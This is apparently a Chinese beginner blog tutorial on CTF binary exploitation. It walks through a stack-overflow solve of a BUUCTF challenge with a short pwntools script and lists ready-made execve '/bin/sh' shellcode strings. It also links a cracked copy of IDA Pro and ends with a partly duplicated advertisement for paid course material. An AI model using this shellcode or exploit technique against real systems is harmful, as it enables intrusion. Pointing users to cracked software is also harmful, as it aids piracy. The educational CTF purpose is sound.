内容视频,文章偷懒不写。嘻嘻嘻
B站配套视频
PWN入门3-填充数据和写一个简单攻击脚本_哔哩哔哩_bilibili
实验四-栈溢出基础题型
啥?找不到资源。我分享行了吧
IDA pro7.7
链接:https://pan.baidu.com/s/11YzTTBgDzlrg8a_k-raqqw?pwd=6666
提取码:6666
解压后
执行,选择yes即可完成破解
python安装pwn教程,推荐去看B站星盟安全PWN入门第一集环境安装。不是引流啊,我是确实觉得还可以,小哥哥声音很好听的,对于我这种声控来说简直爱了爱了。
实验前预习知识
请完成以下几个视频的观看(顺序)
3.1.1_栈的基本概念_哔哩哔哩_bilibili3.1.1_栈的基本概念是王道计算机考研 数据结构的第20集视频,该合集共计97集,视频收藏或关注UP主,及时了解更多相关视频内容。https://www.bilibili.com/video/BV1b7411N798?p=20&vd_source=b0baa38241452f542afabdf70d10fca7
【算法】数据结构中的栈有什么用?_哔哩哔哩_bilibili介绍数据结构中的栈stack,以及两个小例子。, 视频播放量 8831、弹幕量 8、点赞数 390、投硬币枚数 224、收藏人数 299、转发人数 104, 视频作者 从0开始数, 作者简介 ,相关视频:数据结构与算法(合集),什么是算法,算法与数据结构,栈的基础知识,已知入栈序列,求出栈元素,汉诺塔小游戏和递归思想,【喵的算法课】栈与队列 表达式计算【4期】,数据结构难点分析,学习建议,数据结构的使用-栈(Stack),学数据结构之前 必看,【散装数据结构】#01:栈,【数据结构】栈->入栈和出栈https://www.bilibili.com/video/BV1hp4y1x7u9/?spm_id_from=333.337.search-card.all.click&vd_source=b0baa38241452f542afabdf70d10fca7,什么是算法,算法与数据结构,栈的基础知识,已知入栈序列,求出栈元素,汉诺塔小游戏和递归思想,【喵的算法课】栈与队列 表达式计算【4期】,数据结构难点分析,学习建议,数据结构的使用-栈(Stack),学数据结构之前 必看,【散装数据结构】#01:栈,【数据结构】栈->入栈和出栈https://www.bilibili.com/video/BV1hp4y1x7u9/?spm_id_from=333.337.search-card.all.click&vd_source=b0baa38241452f542afabdf70d10fca7")
一个玩玩数据结构的网站
学习目标
- 了解数据结构栈
- 了解栈溢出
- 利用栈溢出提升权限
- pwntools初体验
B站配套视频链接
rip—极简栈溢出
BUUCTF rip
学习目标:
- 简单使用IDApro7.7
- 理解栈溢出
- 了解危险函数gets()
第一步:nc链接,熟悉环境
他要是光标不动了,八成在等你输入,随便输点啥玩意
第二步:下载文件,使用checksec指令检查文件保护(控制台打开的位置要与文件在同一级下)
否则会报错找不到
指令
checksec 文件名
checksec pwn1
检查结果,第一行显示这个是64位程序,下面的以后会讲到
第三步:IDA打开文件
IDA是有32位和64位的,你安装时这两个是一起安装的。我们在上一步已经知道程序位数(位数错了将无法反编译看伪代码)
用IDA64.exe打开文件。大家可以学我将快捷方式放在文件附近,可以直接将文件拖动到图标上打开。
点击OK ,进入IDA,直接shift+F12进入字符串窗口
看到熟悉的字符串没?这就是熟悉环境的作用,利用这个可以快速找到主函数,方便我们分析代码
双击它
在此处,双击右侧发黄那个玩意,那里显示的是调用这个字符串的函数,
在这里F5,反编译代码,生成伪代码
gets()是个危险函数,它会一直读取用户的输入,造成栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts(“please input”);
gets(s, argv);
puts(s);
puts(“ok,bye!!!”);
return 0;
}
第四步:找到提权函数,提升权限
字符串页面还有个/bin/sh字符串,这是系统命令执行函数的标准特征,顺腾摸瓜。记住下面这个东西,以后会经常见到。
找到这个函数的地址,push开始的位置,这是这个函数进入程序执行的象征
第五步:编写解题脚本
1.如何在Linux中创建一个python脚本
vim 文件名.py
我写的
vim attack.py
回车执行
随便写点字符进去。按下ESC,再按下:,输入小写wq,桌面就会多出一个attack.py文件
右键mousepad打开
可以在这里书写代码
脚本内容
from pwn import * #调用pwntools库
p=remote(‘node4.buuoj.cn’,25779) #设置要链接的服务器,这一句就是为了链接服务器
flag = 0x0401186 #bin/sh那个函数的地址,0x表示16进制
payload = b’a’*(15)+p64(flag) #生成15个垃圾二进制数据,b’a’表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数
p.sendline(payload) #发送这个攻击载荷
p.interactive() #与控制台进行交互,之后就可以执行指令啦
第六步:跑代码
脚本位置附近打开控制台输入
python3 文件名.py
执行指令试试,OK
flag到手
课后练习
NSSCTF-warmup_csaw_2016-栈溢出+堆栈平衡
BUUCTF-jarvisoj_level0
NSSCTF-gift_pwn
NSSCTF-R3m4ke
NSSCTF-babystack
实验5-栈溢出简单利用2-system函数传参数
啊啊啊,太忙了,忘记了,先把视频贴上,后面慢慢补吧
B站视频链接
PWN入门5-栈溢出简单利用2-system函数传指令_哔哩哔哩_bilibili
视频内容题目
麻烦姥爷们打一下字,嘻嘻嘻
实验6-shellcode和ret2shell
啊啊啊,太忙了,忘记了,先把视频贴上,后面慢慢补吧
B站视频链接
PWN入门6-shellcode和ret2shellcode_哔哩哔哩_bilibili
视频内容题目
picoctf_2018_shellcode–shellcode
mrctf2020_shellcode_revenge–可见shellcode
[HNCTF 2022 Week1]safe_shellcode–可见shellcode
[GDOUCTF 2023]Shellcode–ret2shellcode
[SWPUCTF 2022 新生赛]shellcode? – 保护+shellcraft
shellcode是一段用于利用软件漏洞执行攻击操作的代码,也可以认为是一段填充数据,但因为其经常让攻击者获得控制台权限shell故而称为shellcoed。
不可见版本
#32 位 短字节 shellcode -> 21 字节
#\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
#64 位 较短的 shellcode 23 字节
#\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
可见版本
x64 下的:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
x32 下的:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
pwntools生成
asm(shellcraft.sh()) 44位
使用alpha3编码shellcode
这个工具我没找到,以后看到加上来
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-4IpoJWB2-1712479296742)]